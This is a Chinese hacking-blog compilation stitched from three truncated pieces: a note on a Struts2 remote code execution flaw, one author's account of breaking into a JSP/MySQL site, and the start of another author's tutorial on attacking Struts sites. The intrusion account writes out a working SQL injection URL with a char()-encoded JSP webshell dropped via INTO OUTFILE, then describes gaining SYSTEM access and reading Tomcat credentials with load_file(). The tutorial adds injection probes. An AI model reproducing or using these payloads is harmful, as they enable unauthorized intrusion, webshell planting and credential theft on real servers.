By:Neeao
1.exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞, 此漏洞危害之大,可谓百发百中,直接root,只要采用了Struts2和webwork框架的系统(对于webwork的版本,不太清楚,我这里没环境 对其一一测试,这里有两者关系的介绍), 基本上无一幸免。
作者:sai52[B.H.S.T]
blog:www.sai52.com
前言:
如果新手朋友不知道什么是Struts,可以参见文章 《入侵基于java Struts的JSP网站》
(http://www.hackeye.com/article/5616/)。
《入侵基于java Struts的JSP网站》是好友skyfire所作,被一些大的网站转载,却都没有写上作者名字,请允许我在这里鄙视一下他们。
正文:
给朋友帮忙检测一个jsp的站点,mysql数据库。已知存在注入点,用order by 猜出了字段是15个,其他就什么有用的信息都没暴出来。union查询的时候,字段数正确但不显示正常画面。
嘿嘿,别让错误信息给骗了,实际上还是能union查询的,就在“10”的那个位置。
查询得知MYSQL版本是4.1.19,root权限,可读文件(如果知道路径的话)。
狠狠地扫了它一遍(这里要注意,用wwwscan扫ip和扫网址得到的结果不同,要扫2次)。
得到很多有用的信息,其中包括:
网站的物理路径:D:\china\
网站后台登陆地址:http://www.site.org.cn/admin/login.jsp
TOMCAT的后台登陆地址:http://xxx.xx.xxx.xx/admin/
1. 用into outfile导出一句话webshell
注入点能够使用union,有File权限,知道了网站的物理路径,jsp又没有类似magic_quotes_gpc = on这样的设置,正适合用into outfile导出一句话webshell。
http://www.site.org.cn/XXXXMessage.jsp?id=7676%20and%201=2%20union%20select%200,1,2,3,4,5,6,7,8,9,char(60,37,32,105,102,40,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,33,61,110,117,108,108,41,40,110,101,119,32,106,97,118,97,46,105,111,46,70,105,108,101,79,117,116,112,117,116,83,116,114,101,97,109,40,97,112,112,108,105,99,97,116,105,111,110,46,103,101,116,82,101,97,108,80,97,116,104,40,34,92,34,41,43,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,41,41,46,119,114,105,116,101,40,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,116,34,41,46,103,101,116,66,121,116,101,115,40,41,41,59,32,37,62),11,12,13,14%20into%20outfile%20′D:\\china\\19h.jsp’/*
第一次没有成功,不知道哪里出错,导出的jsp-webshell不能正常使用,后来发现导出的webshell有15M那么大。(=_=!)
虽然失败了,不过访问导出的webshell,页面出错却暴出了TOMCAT的物理路径 D:\Tomcat 5.0\ 。:)
再次导出jsp-webshell,这次成功了,利用一句话webshell上传了个大马。查看得到的一句话webshell内容如图
查看权限,是system。
本该结束了,不过一时性起,就把能想到的手段都用了一遍(闲的)。(=_=!)
PS:后面的方法都没有利用之前得到的webshell。
2.读取TOMCAT后台密码登陆TOMCAT管理后台
刚才无意中暴出TOMCAT的物理路径 D:\Tomcat 5.0\ ,又知道TOMCAT的后台登陆地址,接下来当然是直接load_file()读取tomcat-user.xml文件了。(TOMCAT密码文件,默认 保存在…
作者:skyfire[B.H.S.T]
入侵要点:
找到注入点
暴露网站页面绝对路径
利用mysql的load_file()读取网站配置信息找到管理后台
上传webshell
了解一下 Struts和.do :
首先了解一下什么是Struts。Struts是Apache基金会Jakarta项目组的一个Open Source项目,是一种优秀的J2EE MVC架构方式,它利用taglib获得可重用代码和抽象 Java 代码,利用ActionServlet配合Struts-config.xml实现对整个系统导航。增强了开发人员对系统的整体把握,提高了系统的可维护 性和可扩充性。
Struts的核心是Controller,即ActionServlet,而ActionServlet的核心就是Struts- config.xml,Struts-config.xml集中了所有页面的导航定义。关于sstruts更加详细的内容可以到以下地址浏览:
http://www.cn-java.com/www1/?action-viewnews-itemid-2207
http://www.chinaitlab.com/www/techspecial/struts/
http://www.ibm.com/developerworks/cn/java/j-struts/
.do文件是一个网页后台程序,它实际不是一个文件,并没有一个真正的.do文件存在,它不能直接打开 ,struts使用一个特殊的servlet作为“交换机”,将来自web浏览器的请求转到相应的serverpage。在开发web应用时有一个必须要 写的部署描述文件(web-inf/web.xml)。这个文件描述了你的web应用的配置,包括欢迎页面(welcome pages)(当请求没有指定时,出现在目录下的文件)、servlet(路径或者扩展名)和那些servlets的参数的映射。在这个文件中,你配置 struts actionservlet作为一个操控所有指定映射(通常以.do为扩展名)请求的servlet——这就是“交换机”。
可以通过下面地址的内容更加清楚的明白.do文件:
http://topic.csdn.net/u/20071009/11/D16FB438-4A2A-47E2-A03A-F62366C8F064.html
访问xx.do页面实际就是访问xx.jsp文件,但是使用了struts技术的网站,直接访问xx.jsp是不会被Tomcat、Resin等web服务器解析的。
xx.do页面目录下必有web-inf文件夹,存放Struts-config.xml!!
下面开始转入主题:
1、打开目标站点,发现是jsp类型网站,页面后缀名称是.do和.jsp,打开页面
http://www.site.com.cn:8081/newslistAction.do?type=1
输入标点 ‘,根据页面返回的内容,发现网站是基于Apache Tomcat/5.0.28 的web服务器。
2、寻找注入点,打开“产品中心”-“网络防火墙”-打开一种产品的介绍
http://www.site.com.cn:8081/showproAction.do?id=47
试试是否能手工注入,根据对此站点的了解,数据库应该是mysql或者oracle,oracle那种大玩意我们就不敢碰了,先试试看是不是mysql ,
http://www.site.com.cn:8081/showproAction.do?id=47 and ord(mid(version(),1,1))>51
页面正常,说明是mysql,而且mysql的版本是4.0以上,可以使用union查询,下面爆一下字段数:
http://www.site.com.cn:8081/showproAction.do?id=47′…